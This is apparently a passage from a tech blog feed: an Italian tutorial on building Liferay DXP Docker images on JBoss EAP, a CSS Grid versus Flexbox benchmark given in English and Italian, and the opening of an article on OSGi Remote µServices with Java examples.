$ mkdir -p files/jboss-eap/modules/com/liferay/portal/main/
$ cp ~/Downloads/module.xml files/jboss-eap/modules/com/liferay/portal/main/

# 3. Copia del driver JDBC Oracle
$ cp ~/Downloads/ojdbc8.jar files/jboss-eap/modules/com/liferay/portal/main/

# 4. Copia del file portal-ext.properties con la configurazione di connessione al database Oracle
$ cp ~/Downloads/portal-ext.properties files/

Console 4 - Preparazione del layout file system per la configurazione RDBMS Oracle

La figura a seguire mostra la struttura del file system appena creato e che sarà montato come Docker Volume, così come indicato dal comando illustrato in Console 5. Da notare che fanno parte del layout anche le directory deploy e scripts, che rispettivamente sono dedicate all'hot-deploy dei moduli o bundle e all'esecuzione di scripts pre-start Liferay.

Figura 15 - File system layout per configurazione immagine Docker Liferay da montare come Docker Volume

# Esecuzione di Liferay con la connessione verso il database Oracle
$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v $(pwd):/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

Console 5 - Esecuzione dell'immagine di Liferay con il Docker Volume per applicare la configurazione della connessione al database Oracle

La figura a seguire evidenzia la copia dei file di configurazione sul file system del container che sono stati predisposti in precedenza.

Figura 16 - Evidenza della copia dei file di configurazione dal file system locale a quello del container

6.2. Installazione Liferay Fix Pack

Esiste la possibilità d'installare una Fix Pack durante lo start-up del container. All'interno del capitolo 5. Come creare l'immagine è stato spiegato come installare una Fix Pack durante il processo di creazione dell'immagine.

Applicare una Fix Pack su di una immagine esistente può essere un vantaggio nel caso in cui si voglia verificare in modo agevole la "bontà" della Fix Pack, soprattutto in quei casi dov'è fondamentale il controllo di eventuali regressioni sul software custom.

Il requisito per l'installazione della Fix Pack secondo questa modalità, è la presenza dell'installazione del Patching Tool sull'immagine base a cui s'intende applicare la Fix Pack (vedi 5.2. Installazione Patching Tool) e la configurazione del container utilizzando i Docker Volumes (vedi 6.1. Utilizzare Docker Volume). Al layout del file system occorre quindi aggiungere la directory patching all'interno della quale posizionare il file zip della Fix Pack. La figura a seguire mostra come al layout del file system precedente è stata aggiunta la directory patching e aggiunto il file della Fix Pack che desideriamo installare.

Figura 17 - Layout file system per applicazione Fix Pack allo start-up dell'immagine Docker di Liferay

Eseguendo il comando mostrato a seguire, questa volta, oltre ad applicare la configurazione per la connessione ad Oracle, prima che Liferay sia avviato, sarà applicata la Fix Pack che risiede all'interno della directory patching.

# Esecuzione di Liferay con l'applicazione della Fix Pack
$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v $(pwd):/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-fp-8

Console 6 - Esecuzione dell'immagine di Liferay con il Docker Volume per applicare la Fix Pack

Dai log di start del container Docker, dovreste vedere l'applicazione della Fix Pack e successivamente l'avvio del portale Liferay. La figura a seguire mostra appunto un esempio di applicazione della Fix Pack.

Figura 18 - Applicazione della Fix Pack durante lo start-up del container dell'immagine di Liferay

Per accertarsi dell'avvenuta e corretta installazione della Fix Pack, basta ottenere l'accesso alla macchina per poi utilizzare il comando ./patching-tool.sh info (dalla directory d'installazione del Patching Tool) per verificare che la Fix Pack per cui è stata chiesta l'installazione è presente sul sistema.

Figura 19 - Verifica dell'avvenuta installazione della Fix Pack utilizzando comando patching-tool.sh info

6.3 Installazione Liferay Hotfix e Security Fix Pack

Allo stesso modo di com'è possibile installare la Fix Pack di Liferay durante lo start-up del container, è anche possibile farlo per Hotfix e Security Fix Pack. Restano quindi valide le indicazioni descritte in 5.3. Installazione Liferay Fix Pack.

7. Uno scenario reale

Tenendo ben in mente quanto descritto ampiamente sul capitolo 5. Come creare l'immagine, vedremo quali sono i passi per creare la propria immagine Docker di Liferay + JBoss EAP, ipotizzando lo scenario a seguire.

Ipotizziamo di voler realizzare un'immagine Docker di Liferay DXP 7.2 SP 2 con JBoss EAP 7.2.0 come application server e di voler applicare la Fix Pack Liferay dxp-8-7210 e la patch 7.2.9 JBoss EAP. Per ottenere questo risultato occorre procedere con gli step mostrati dal diagramma mostrato a seguire.

Figura 20 - Step essenziali per la creazione dell'immagine Docker Liferay DXP + JBoss EAP

Assumiamo di aver eseguito con successo il primo step ed il secondo step, per i quali consiglio di rivedere i capitoli 3. Requisiti e 4. Download dipendenze. Per il resto degli step, eseguire nell'ordine, da console (Bash) i comandi indicati.

# Step 3.1 Installazione dell'estensione del progetto liferay-docker
#  - Il file zip del progetto https://github.com/smclab/liferay-docker/archive/v1.0.0.zip
$ unzip ~/Downloads/liferay-docker-1.0.0.zip

# Step 3.2 Inizializzazione del Repository Git
#  - Sostituire la URL del repository Git con la propria
#  - Assegnare al branch un nome che sia possibilmente esplicativo
$ cd liferay-docker-1.0.0
$ git init
$ git add .
$ git remote add origin https://github.com/smclab/liferay-docker.git
$ git commit -m "Initial import liferay-docker image builder"
$ git checkout -b build/liferay-dxp-7.2.10-fp-8

# Step 3.3 Preparazione della directory che conterrà i bundle
$ cp -a ~/Downloads/bundles .

# Step 4 Esecuzione del processo di build dell'immagine
#  - specificare il nome del proprio repository (in questo caso sostituire amusarra)
#  - la versione del tag dell'immagine docker deve essere possibilmente esplicativa.
#    in questo caso è liferay-dxp-7.2.10-fp-8 che corrisponde con il nome del branch
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap

Console 7 - Step essenziali per la creazione dell'immagine Docker Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9

Al termine dello step 4, quindi dell'esecuzione dello script build_local_image.sh, utilizzando il comando docker images è possibile verificare la nuova immagine appena creata (vedi figura a seguire).

Figura 21 - Immagine Docker di Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9

L'esecuzione dello step 3.2 è del tutto opzionale ai fini della creazione dell'immagine Docker. Il vantaggio d'inizializzare l'ambiente di build come repository Git, risiede nel fatto che una volta accertato il funzionamento dell'immagine appena creata, dopo aver eseguito le operazioni di commit e push, possiamo in qualunque momento eseguire la build della specifica versione dell'immagine.

Altro vantaggio nell'uso di Git per il versioning della creazione delle immagini è subito evidente utilizzando il comando docker image inspect <imageid>. Le label dell'immagine Docker riportano informazioni circa l'hash del commit e la url del repository, così come mostrato dalla figura a seguire.

Figura 22 - Parte di output del comando docker image inspect con in evidenza i riferimenti a Git (o VCS)

# Step 1 Clone del repository liferay-docker e checkout del branch di versione
#  - Sostituire la URL del repository Git con la propria
$ git clone -b build/liferay-dxp-7.2.10-fp-8 https://github.com/smclab/liferay-docker.git

# Step 2 Esecuzione del processo di build dell'immagine
$ cd liferay-docker
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap

Console 8 - Creazione di una specifica versione dell'immagine Docker di Liferay partendo dal repository Git

Al fine di eseguire una verifica dell'immagine appena creata, è sufficiente lanciare il comando docker run -it {<imageid>|<image name>}. Dai log mostrati in console siamo in grado di verificare se l'istanza Liferay non dovesse salire correttamente.

Utilizzando il comando docker ps, e guardando la colonna status dovremmo vedere inizialmente il valore health: starting che dovrebbe diventare healthy quando il servizio Liferay è su, così come mostrato dalle due figure a seguire.

Figura 23 - Verifica del servizio Liferay dopo la creazione del container. Servizio in fase di starting

Figura 24 - Verifica del servizio Liferay dopo la creazione del container. Servizio attivo

Una volta effettuate tutte le verifiche circa la bontà dell'immagine, è possibile procedere con l'operazione di commit e push dei file modificati sul repository Git e successivamente con il push dell'immagine appena creata sul repository Docker.

Per le successive operazioni di creazione dell'immagine, l'operatività è semplificata considerando che non è più necessario installare l'estensione liferay-docker e quanto meno inizializzare il repository Git. In Console 9 sono mostrate le operazioni da seguire nel caso in cui abbiate già compiuto altre build.

# Step 1 Clone del repository liferay-docker e creazione di un nuovo branch di build immagine Liferay
#  - Sostituire la URL del repository Git con la propria
$ git clone https://github.com/smclab/liferay-docker.git
$ git checkout -b build/liferay-dxp-7.2.10-sp-3

# Step 2 Preparazione della directory che conterrà i bundle per Liferay DXP 7.2 SP 3
$ cd liferay-docker
$ cp -a ~/Downloads/bundles .

# Step 3 Esecuzione del processo di build dell'immagine
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp-3 no-push jboss-eap

Console 9 - Procedura per iniziare la creazione di una nuova immagine Docker di Liferay partendo dal repository Git

8. Creare un'immagine con Liferay DXP 7.3

Ci siamo! Come promesso ad inizio articolo vediamo come creare l'immagine Docker utilizzando la nuova versione di Liferay DXP rilasciata 13 ottobre 2020.

Il procedimento rimane assolutamente invariato (vedi Figura 20 - Step essenziali per la creazione dell'immagine Docker Liferay DXP + JBoss EAP). Il primo passo è il download dei file di Liferay DXP 7.3 da scaricare dal Customer Portal di Liferay.

Il file sono quelli indicati a seguire.

Liferay DXP Dependencies: liferay-dxp-dependencies-7.3.10-ga1-20200930160533946.zip
Liferay DXP OSGi Dependencies: liferay-dxp-osgi-7.3.10-ga1-20200930160533946.zip
Liferay DXP WAR: liferay-dxp-7.3.10-ga1-20200930160533946.war
Liferay Patching Tool: patching-tool-2.0.15.zip

Il Patching Tool dovreste averlo già scaricato nel caso in cui abbiate fatto una delle precedenti build per Liferay DXP 7.2. Per quel che riguarda la versione 7.3 non è necessario scaricare altro; appena uscita, per cui non ci sono Fix Pack anche se consigliato installare comunque il Patching Tool. La figura a seguire mostra la sezione download per Liferay DXP 7.3, con in evidenza i tipi di file di cui eseguire il download.

Figura 25 - Sezione di download dei file di Liferay DXP 7.3

Dal documento della Matrice di Compatibilità di Liferay DXP 7.3 possiamo notare la compatibilità con l'Application Server Red Hat JBoss EAP 7.3. È ragionevole pensare d'installare Liferay DXP 7.3 su JBoss EAP 7.3.

Figura 26 - Sezione Application Server - Matrice Compatibilità Liferay DXP 7.3

Spostiamoci quindi sul Customer Portal di Red Hat per eseguire il download dei seguenti file che riguardano la nuova versione di JBoss EAP 7.3.

Red Hat JBoss Enterprise Application Platform 7.3: jboss-eap-7.3.0.zip
Red Hat JBoss Enterprise Application Platform 7.3 Patch: jboss-eap-7.3.3-patch.zip

Le due figure a seguire mostrano i file da scaricare che riguardano JBoss EAP 7.3.

Figura 27 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3

Figura 28 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3 Patch

Nuova versione di JBoss e nuovo template di configurazione (vedi 5.1. Template di configurazione JBoss EAP) di cui trovate i relativi file sull'estensione del progetto liferay-docker.

Per quel che riguarda Liferay non ci sono modifiche sostanziali da apportare rispetto alla pracedente versione, rimane sempre valida la documentazione Installing on JBoss EAP. La figura a seguire mostra la struttura del template di configurazione per JBoss EAP 7.3.

Figura 29 - Struttura directory template di configurazione JBoss EAP 7.3

Riguardo la configurazione specifica di Liferay, l'unico cambiamento apportato con la nuova versione riguarda il file module.xml, a cui sono state aggiunte due nuove risorse, com.liferay.petra.sql.dsl.api.jar e com.liferay.petra.sql.dsl.spi.jar.

<module name="com.liferay.portal" xmlns="urn:jboss:module:1.8">
    <resources>
        <resource-root path="com.liferay.petra.concurrent.jar" />
        <resource-root path="com.liferay.petra.executor.jar" />
        <resource-root path="com.liferay.petra.function.jar" />
        <resource-root path="com.liferay.petra.io.jar" />
        <resource-root path="com.liferay.petra.lang.jar" />
        <resource-root path="com.liferay.petra.memory.jar" />
        <resource-root path="com.liferay.petra.nio.jar" />
        <resource-root path="com.liferay.petra.process.jar" />
        <resource-root path="com.liferay.petra.reflect.jar" />
        <resource-root path="com.liferay.petra.sql.dsl.api.jar" />
        <resource-root path="com.liferay.petra.sql.dsl.spi.jar" />
        <resource-root path="com.liferay.petra.string.jar" />
        <resource-root path="com.liferay.registry.api.jar" />
        <resource-root path="portal-kernel.jar" />
        <resource-root path="portlet.jar" />
        <resource-root path="hsql.jar" />
        <resource-root path="ojdbc8.jar" />
    </resources>
    <dependencies>
        <module name="javax.api" />
        <module name="javax.mail.api" />
        <module name="javax.servlet.api" />
        <module name="javax.servlet.jsp.api" />
        <module name="javax.transaction.api" />
    </dependencies>
</module>

Source Code 1 - Configurazione del file module.xml per Liferay 7.3

A questo punto dovremmo avere tutti i bundle richiesti a nostra disposizione, possiamo quindi procedere con la creazione dell'immagine. Il risultato atteso sarà l'immagine di Liferay DXP 7.3 GA1 installata su JBoss EAP 7.3.

Partendo dal presupposto di avere l'estensione del progetto liferay-docker in forma di repository Git (vedi 7. Uno scenario reale), proseguiamo così come indicato in Console 10 per ottenere la nuova immagine.

# Step 1 Clone del repository liferay-docker e creazione di un nuovo branch di build immagine Liferay
#  - Sostituire la URL del repository Git con la propria
$ git clone https://github.com/smclab/liferay-docker.git
$ git checkout -b build/liferay-dxp-7.3.10-ga1

# Step 2 Preparazione della directory che conterrà i bundle per Liferay DXP 7.3 GA 1
$ cd liferay-docker
$ cp -a ~/Downloads/bundles-dxp-73 .

# Step 3 Esecuzione del processo di build dell'immagine
$ ./build_local_image.sh bundles-dxp-73 amusarra/liferay-dxp liferay-dxp-7.3.10-ga1 no-push jboss-eap

Console 10 - Procedura per la creazione dell'immagine Liferay DXP 7.3 installata su JBoss EAP 7.3

Le prime due figure a seguire mostrano durante il processo di creazione dell'immagine , l'applicazione della patch a JBoss EAP 7.3 e l'installazione del Patching Tool di Liferay.

Figura 30 - Applicazione della Patch 7.3.3 a JBoss EAP 7.3

Figura 31 - Installazione del Patching Tool 2.0.15

Utilizzando il comando docker images è possibile verificare la presenza sul sistema della nuova immagine appena creata amusarra/liferay-dxp:liferay-dxp-7.3.10-ga1.

Figura 32 - Nuova immagine appena creata di Liferay 7.3 DXP GA1

8.1. Test della nuova immagine Liferay DXP 7.3

Figura 33 - Verifica stato del container Liferay DXP 7.3

Potremmo per esempio connetterci al container e successivamente verificare tramite la console di JBoss EAP se la patch è stata applicata.

Figura 34 - Verifica versone JBoss EAP e Patch installata

Se provassimo ad effettuare una connessione al portale tramite il browser, verrebbe richiesta l'installazione della licenza. Ricordo che le immagini così create sono senza licenza; per utilizzare il portale, occorre installare il file della licenza copiandolo all'interno della directory deploy.

Figura 35 - Connessione al portale Liferay DXP 7.3

9. Risorse

L'estensione del progetto liferay-docker è disponibile sul repository GitHub di SMC.

A seguire lascio una serie di risorse che sono il punto di riferimento per i contenuti di quest'articolo.

10. Conclusioni

Ben arrivati alla fine! Per esseri giunti fino in fondo alla lettura di questo articolo, sono abbastanza sicuro che vi siate trovati nella situazione di dover creare un'immagine di Liferay, dove Liferay sia installato su di un Application Server diverso da Apache Tomcat, o che siate in procinto di dover affrontare quest'attività.

Mi son trovato più volte in questa situazione, e la strada che ho voluto indicare con questo articolo è quella che ritengo più vantaggiosa, soprattutto in termini di semplicità nella fase di creazione dell'immagine e in ultimo, l'immagine così ottenuta è conforme a quelle prodotte da Liferay stessa.

Voi come avete affrontato questo tema? Discutiamone insieme.

CSS Grid vs Flexbox Performance Evaluation

Mon, 03 Aug 2020 00:00:00 GMT

CSS Grid is a recent layouting algorithm, that, especially during it's arrival, it has gotten a bad reputation performance wise.

This is one of the reasons, together with perhaps an not very ergonomic API to the uninitiated, for which many websites, even very recent ones, only use flexbox for all layouts.

To understand if this reputation is founded we have carried out some benchmarks.

Could CSS Grid compete on par with Flexbox?

🔬 1. Benchmarking tools

All of the following data was obtained using the Chrome DevTools Performance Profiler on a 2.3 GHz quad-core Intel Core i7 Macbook Pro with 8 GB 1600 MHz DDR3 RAM.

In particular, the «Start profiling and reload the page» function was used, therefore a function that performs profiling from the request to the end of the page rendering. This function has been used because it highlights the rendering time of the layout individually, therefore without any recalculation due to actions such as resizing the browser.

The results concern only the layout computation times, so the download times of the resources and the execution times of the Javascript code did not affect the results.

All the code used for the benchmarks is available on Codesandbox

🐇 2. Benchmark: 10000 elements

This is a stress-test that allows us to understand how the two algorithms behave in terms of performance in an extreme situation: a container with 10,000 elements to be placed in all the available space.

Obviously it does not represent the real-world performance of the two algorithms, as it is very difficult to have as a requirement a page with many elements in a single container, also because you can resort to alternative solutions to improve performance such as an infinite loader or a pagination.

The heart of the CSS code for creating the benchmark using CSS Grid is as follows:

.container{
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));
}

While the counterpart that uses flexbox is:

.container{
  display: flex;
  flex-wrap: wrap;
}
.item {
  flex-basis: 100px;
  flex-grow: 1;
}

JavaScript was used to repeat 10000 times the item element.

The only difference between the two layouts is the last row of the container, where in the Grid some free cells remains, while in flexbox the remaining space is filled.

These are the results obtained:

Lower is better

As you can see the performance gap between Flexbox and CSS Grid in this case is very clear, this probably derives from the fact that in Flexbox the elements of the following lines cannot interfere with those of the previous lines, while in CSS Grid it is not so. forcing many checks before dimensioning the elements.

🧠 3. Benchmark: Complex layout

This is field-test that allows us to understand how Flexbox and CSS Grid behave in common situations: The task is to create a layout of a site that is not entirely trivial, therefore similar to a real one.

There is no visible difference between the two layouts.

For this benchmark the CSS code for the Grid is as follows:

.container {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr;
  grid-template-rows: 50px 100px 1fr 75px;
  grid-template-areas:
    "headerCenter headerCenter headerSide"
    "side main tips"
    "side main ."
    "footer footer footer";
}

.mainItem {
  grid-area: main;
}

To create the same layout using Flexbox in addition to a modification of the HTML structure, adding containers around the components, the following CSS code was needed:

.container {
  display: flex;
  flex-direction: column;
}

.headerContainer {
  min-height: 50px;
  display: flex;
}

.mainContainer {
  flex-grow: 1;
  display: flex;
}

.footerContainer {
  min-height: 75px;
}

These are the results obtained:

Lower is better

From this benchmark we can see that the performances between the two algorithms are very similar and therefore there is no clear superiority of one over the other. The only real difference between using Flexbox and CSS Grid in this case is the implementation: in Flexbox it was necessary to add "container" elements around the components and this made the layout particularly difficult to guess by reading only the code, while in CSS Grid we can guess the layout directly from the container element. The main advantage of CSS Grid compared to Flexbox for layouts is in fact the movement of the code, concerning the layout, from the children to the container, allowing you to have everything in a single class which defines how the child elements must be positioned and what size they must have.

Conclusions

Analyzing the data obtained we can see how in more complex cases Flexbox is more performing, but we can also note that in more common cases the difference in performance is not so evident.

The real difference between using Flexbox and CSS Grid is in the amount of code: The code for creating a complex layout in Flexbox is more complex, dispersed and time-consuming, while that created with the Grid is much faster, tidier and simpler.

Many developers who have used flexbox to create layouts over time have found themselves demolishing and rebuilding the same simple layout, both in HTML and CSS, for changes in the project specifications. CSS Grid can put an end to many of the difficulties encountered in creating layouts and requires no extra effort (like adding a library) to implement.

CSS Grid vs Flexbox Performance Evaluation

Mon, 03 Aug 2020 00:00:00 GMT

CSS Grid è un algoritmo di layouting piuttosto recente, che, soprattutto durante il suo arrivo, ha avuto una brutta reputazione in termini di performance.

Questo è uno dei motivi assieme forse, ad una API poco ergonomica ai non iniziati, per cui molti siti web, anche molto recenti, utilizzano unicamente flexbox per tutti i layout.

Per capire se questa reputazione è fondata abbiamo svolto alcuni benchmark.

Che CSS Grid possa competere alla pari con Flexbox?

🔬 1. Strumenti di benchmarking

Tutti i dati seguenti sono stati ottenuti utilizzando il Performance Profiler di Chrome DevTools su un Macbook Pro con processore Intel Core i7 quad-core 2,3 GHz e 8 GB 1600 MHz DDR3 di RAM.

In particolare è stata utilizzata la funzione «Start profiling and reload the page», quindi una funzione che esegue il profiling dalla richiesta alla fine del render della pagina. È stata utilizzata questa funzione perché mette in luce il tempo di render del layout singolarmente, quindi senza alcun ricalcolo dovuto ad azioni come il ridimensionamento del browser.

I risultati riguardano solo i tempi di calcolo del layout, quindi i tempi di download delle risorse e i tempi di esecuzione del codice Javascript non hanno influenzato i risultati.

Tutto il codice utilizzato per i benchmark è disponibile su Codesandbox.

🐇 2. Benchmark: 10000 elementi

Questo è uno stress-test che ci permette di comprendere come si comportano in termini di performance i due algoritmi in una situazione estrema: un container con 10000 elementi da disporre in tutto lo spazio disponibile.

Ovviamente non rappresenta la real-world performance dei due algoritmi, in quanto è molto difficile avere come requisito una pagina con tanti elementi in un solo container, anche perché si può ricorrere a soluzioni alternative per migliorare le performance come un infinite loader degli elementi oppure una paginazione.

Il cuore del codice CSS per creare il benchmark utilizzando CSS Grid è il seguente:

.container{
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));
}

Mentre la controparte che utilizza flexbox é:

.container{
  display: flex;
  flex-wrap: wrap;
}
.item {
  flex-basis: 100px;
  flex-grow: 1;
}

Per ripetere 10000 volte l'elemento item è stato utilizzato JavaScript.

L'unica differenza tra i due layout è l'ultima riga del container, dove nella Grid rimangono delle celle libere, mentre nella flexbox lo spazio rimanente viene riempito.

Questi sono i risultati ottenuti:

Lower is better

Come si può vedere il distacco di performance tra Flexbox e CSS Grid in questo caso è molto netto, questo probabilmente deriva dal fatto che in Flexbox gli elementi delle righe successive non possono interferire con quelli delle righe precedenti, mentre in CSS Grid non è così, costringendo molte verifiche prima di dimensionare gli elementi.

🧠 3. Benchmark: Complex layout

Questo è un field-test che ci permette di comprendere come Flexbox e CSS Grid si comportano in situazioni comuni: Il task è creare un layout di un sito che non sia del tutto banale, quindi simile ad uno reale.

Tra i due layout non c'è alcuna differenza visibile.

Per questo benchmark il codice CSS per la Grid è il seguente:

.container {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr;
  grid-template-rows: 50px 100px 1fr 75px;
  grid-template-areas:
    "headerCenter headerCenter headerSide"
    "side main tips"
    "side main ."
    "footer footer footer";
}

.mainItem {
  grid-area: main;
}

Per creare il medesimo layout utilizzando Flexbox oltre ad una modifica della struttura HTML (aggiungendo dei containers intorno ai componenti) è stato necessario il seguente codice CSS:

.container {
  display: flex;
  flex-direction: column;
}

.headerContainer {
  min-height: 50px;
  display: flex;
}

.mainContainer {
  flex-grow: 1;
  display: flex;
}

.footerContainer {
  min-height: 75px;
}

Questi sono i risultati ottenuti:

Lower is better

Da questo benchmark possiamo notare che le performance tra i due algoritmi sono molto simili e quindi non c'è una netta superiorità di uno rispetto all'altro. L'unica vera differenza tra l'utilizzo di Flexbox e CSS Grid in questo caso è l'implementazione: in Flexbox è stato necessario aggiungere degli elementi container attorno ai componenti e questo ha reso il layout particolarmente difficile da intuire leggendo solo il codice, mentre in CSS Grid possiamo intuire il layout direttamente dall'elemento container. Il vantaggio principale di CSS Grid rispetto a Flexbox per i layout infatti è lo spostamento del codice, riguardante il layout, dai figli al container, permettendo di avere tutto in unica classe che definisce come devono posizionarsi gli elementi figli e che dimensioni devono avere.

Conclusioni

Analizzando i dati ottenuti possiamo notare come in casi più complessi Flexbox sia più performante, ma possiamo anche notare che in casi più comuni la differenza di performance non é così evidente.

La vera differenza tra l'utilizzo di Flexbox e CSS Grid é nella quantità del codice: Il codice per la creazione di un layout complesso in Flexbox è più complesso, dispersivo e richiede più tempo, mentre quella creata con la Grid è molto più rapida, ordinata e semplice.

Molti sviluppatori che nel tempo hanno utilizzato flexbox per creare dei layout si sono ritrovati a demolire e ricostruire lo stesso semplice layout, sia a livello di codice HTML che CSS, per dei cambiamenti nelle specifiche del progetto. CSS Grid può mettere fine a molte delle difficoltà che si incontrano creando layouts e non richiede alcuno sforzo extra (come l'aggiunta di una libreria) per essere implementata.

What are OSGi Remote µServices

Fri, 31 Jul 2020 00:00:00 GMT

We are in a historical period of information technology where everyone is crazy about Microservices. Whoever coined the term a few years ago, clearly did not know or did not care that the concept of µServices had already been introduced in 2010 by Peter Kriens (Software Architect at the OSGi Alliance). His idea is basically that extracted from his article and which I report below, in which the term "micro" it actually makes sense.

What I am promoting is the idea of µServices, the concepts of an OSGi service as a design primitive. (cit. Peter Kriens)

Now we are in the situation that we have two terms that are pronounced the same way but they have a different meaning regarding implementation! Fortunately we can write them in a different form.

So, we'll write about µServices to refer to the small but good ones Java services, independent and cohesive, which allow you to achieve the same goals without the overload of Microservices.

To conclude this brief discussion on the terms and then move on to essentially, I recommend reading the article Software mixed with marketing: micro-services also published by Peter Kriens.

Throughout this article, I would say to be the continuation of mine intervention Liferay as Digital Experience Platform in the context of Microservices (held at Liferay Boot Camp 2020 Summer Edition), I would like to take you to evaluate the OSGi framework as a valid solution for the implementation of your architecture to Microservices.

To effectively follow the contents of the article, a minimum knowledge of the OSGi framework, so I can recommend the reading this brief presentation OSGi and Liferay 7 of 2016 held at the Italian User Group of Liferay in Bologna.

1. OSGi µServices

The OSGi services or µServices are the key concept used to build the foundation of modular code. At the lowest level OSGi affects the loading of class; each module (or bundle) has its own class loader. A bundle defines external dependencies using the directive Import-Package. Only packages exported explicitly through the Export-Package directive can be used by other packages.

This level of modularity ensures that only APIs (Java interfaces) are shared between bundles and implementation classes are strictly hidden.

Other bundles can then use the service by searching for it from the interface of the service. The bundle can use the service using its interface, but doesn't have to know which implementation is being used or who has provided the implementation. In OSGi this problem is solved by the Service Registry. The service registry is part of the framework OSGi. A bundle can register a service in this registry. This will register an instance of an implementation class in the registry with its interface.

Briefly summarizing, we could say that:

µServices or services are made up of a series of interfaces and classes Java registered within the Service Registry;
a component can be published as a service;
a component may request a service;
the services are registered by Bundle Activator.

The figure below shows the Service Registry where each bundle can register own services but also where each bundle can find the services to consume; we could say that it is a sort of "folder".

Figure 1 - Registration of services on the registry and use of the same by of bundles

The figure below shows the classic OSGi Service Pattern that the modular applications follow. A typical application therefore consists of:

a bundle that defines all the APIs (Java interfaces) and the latter are exported "outward" via the directive Export-Package;
a bundle that implements the interfaces defined by the API bundle. This uses the directive Import-Package. The services implemented are registered in the Service Registry;
a Client (or Consumer) bundle that consumes the services defined by the API. This uses the Import-Package directive. References to services that will be consumed are made available thanks to the interaction with the Service Registry.

Figure 2 - OSGi Service Pattern

The figure below shows an example of a modular OSGi application in running inside an Apache Karaf OSGi container where the separation into the three bundles: API, Service (impl) and Consumer (client).

Figure 3 - Example of a modular OSGi application following the OSGi pattern Service Pattern

Source Code 1 instead shows the MANIFEST.MF contained within the bundle of the API where you can see the Export-Package directive which expresses the package that will be exported (therefore visible externally) and the version specific.

Manifest-Version: 1.0
Bnd-LastModified: 1595983877560
Bundle-Description: Aries Remote Service Admin Examples - Raspberry Pi API
Bundle-ManifestVersion: 2
Bundle-Name: Aries Remote Service Admin Examples - Raspberry Pi API
Bundle-SymbolicName: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api
Bundle-Version: 1.0.0.202007290051
Created-By: 1.8.0_181 (Oracle Corporation)
Export-Package: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api;version="1.0.0"
Require-Capability: osgi.ee;filter:="(&(osgi.ee=JavaSE)(version=1.8))"
Tool: Bnd-4.2.0.201903051501

Source Code 1 - Manifest of the API bundle with evidence of the Export-Package directive

The following three Java sources show respectively:

the definition of the interface (API bundle);
the implementation of the service whose interface has been defined by the bundle API (Impl or Service bundle);
use or consumption of the service (Client or Consumer bundle).

package it.smc.techblog.apache.aries.rsa.examples.whoiam.api;

/**
 * @author Antonio Musarra
 */
public interface WhoIamService {
    public String whoiam();
}

Source Code 2 - Definition of the interface for the WhoIamService

package it.smc.techblog.apache.aries.rsa.examples.whoiam.service;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
...

/**
 * @author Antonio Musarra
 */
@Component(immediate=true)
public class WhoIamServiceImpl implements WhoIamService {

  @Override
  public String whoiam() {
    Bundle bundle = _bc.getBundle();

    String hostAddress = "NA";

    try {
      hostAddress = InetAddress.getLocalHost().getHostAddress();
    }
    catch (UnknownHostException uhe) {
      _log.log(_log.LOG_ERROR, uhe.getMessage());
    }

    String response =
      "Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}";

    return String.format(
      response, bundle.getBundleId(), bundle.getHeaders().get(
        Constants.BUNDLE_NAME), bundle.getVersion(),
      _bc.getProperty(Constants.FRAMEWORK_UUID), hostAddress
    );
  }

  @Activate
  protected void activate(BundleContext bundleContext) {
    _bc = bundleContext;
  }

  private BundleContext _bc;

  @Reference
  private LogService _log;
}

Source Code 3 - Implementation of the WhoIamService interface

package it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
...

/**
 * @author Antonio Musarra
 */
@Component(immediate=true)
public class WhoIamConsumer {

    WhoIamService _whoIamService;

    @Activate
    public void activate() {
        System.out.println("Sending to Who I am service");
        System.out.println(_whoIamService.whoiam());
    }

    @Reference
    public void setWhoIamService(WhoIamService whoIamService) {
        this._whoIamService = whoIamService;
    }
}

Source Code 4 - Use of the WhoIamService service

The µServices that we have seen, in a very synthetic way and I would say fast too, are in-VM, that is, the whole process works within a single JVM with overhead practically close to zero. No proxy is required, so eventually a call to service it's just a direct call to the method. In this model, a good practice forces the implemented service to do only one thing, in this way the services are easy to replace and easy to reuse.

Now it's time for the big question. It is possible to distribute the µServices on multiple OSGi containers keeping the same pattern (see Figure 2)? Of course! The how we will see later.

2. Microservices from the OSGi perspective

A different definition of Microservices can be found, but they all lead back to the concept of an architectural style that favors the development of systems loose-coupling where therefore the components we have a low level of coupling, are distributable in independently, are able to communicate through lightweight protocols and are independently testable and scalable.

This implies that Microservices embrace modularity, in this sense OSGi is the framework oriented from birth to µServices in VM. To be more precise, the table below shows how the different concepts expressed by Microservices are associated with the OSGi world.

Capability	OSGi functionality enabling
Configuration Management	OSGi Config Admin defined in the OSGi Compendium specification
Service Discovery	OSGi Service Registry defined in the OSGi Core specification
Dynamic Routing	Dynamic routing between services (in potentially different modules) can be established by OSGi filters that allow recovery of a service reference using a syntax similar to LDAP (RFC-4515) based on the properties of the service
API Interface	The OSGi Remote Services specification defines a mechanism for exposing OSGi services to the outside world (effectively providing a mechanism for defining a module public API)
Security	Some features (such as permission checking) are provided by Permission Admin and Conditional Permission Admin defined by the OSGi specification. Additional security features are provided by other specifications such as User Admin Service
Centralized Logging	It can be obtained via the OSGi Log Service specification
Packaging	OSGi bundles are distributed as JAR artifacts, so ready too for deployment in environments that require the use of container
